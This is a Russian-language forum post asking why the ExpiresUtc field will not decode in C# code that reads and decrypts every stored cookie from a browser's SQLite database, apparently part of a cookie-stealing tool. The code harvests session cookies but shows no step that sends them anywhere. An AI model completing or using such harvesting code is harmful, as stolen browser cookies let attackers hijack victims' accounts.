Загрузка...

КАК ДЕКОДИТЬ ДАННЫЕ cCookie.ExpiresUtc В cookie db?

Тема в разделе C# создана пользователем arkadi3901894 22 мар 2024. (поднята 22 мар 2024) 116 просмотров

Загрузка...
  1. arkadi3901894
    arkadi3901894 Автор темы 22 мар 2024 0 13 окт 2023
    Я писал код для дешифровки данных из бд cookie браузеров

    Ниже код
    CSHARP
    public static List<Cookie> Get(string sCookie)
    {
    List<Cookie> lcCookies = new List<Cookie>();

    try
    {
    SQLite sSQLite = SqlReader.ReadTable(sCookie, "cookies");
    if (sSQLite == null) return lcCookies;
    for (int i = 0; i < sSQLite.GetRowCount(); i++)
    {
    Cookie cCookie = new Cookie();
    cCookie.sValue = Crypto.GetUTF8(Crypto.EasyDecrypt(sCookie, sSQLite.GetValue(i, 12)));
    if (cCookie.sValue == "")
    cCookie.sValue = sSQLite.GetValue(i, 3);
    cCookie.ExpiresUtc = Crypto.GetUTF8(sSQLite.GetValue(i, 5));
    cCookie.sHostKey = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
    cCookie.sName = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
    cCookie.sPath = Crypto.GetUTF8(sSQLite.GetValue(i, 4));
    cCookie.sIsSecure = Crypto.GetUTF8(sSQLite.GetValue(i, 6).ToUpper());
    cCookie.sKey = sSQLite.GetValue(i, 0);
    Counting.Cookies++;
    lcCookies.Add(cCookie);
    }
    }
    catch { }
    return lcCookies;
    }

    дешифровка происходит с помощью GetUTF8

    CSHARP
    public static string GetUTF8(string sNonUtf8)
    {
    try
    {
    byte[] bData = Encoding.Default.GetBytes(sNonUtf8);
    return Encoding.UTF8.GetString(bData);
    }
    catch { return sNonUtf8; }
    }

    Все данные успешно дешефруются кроме cCookie.ExpiresUtc
    Можете написать ответ в коментах или в тг: https://t.me/sharpiks_s
     
Top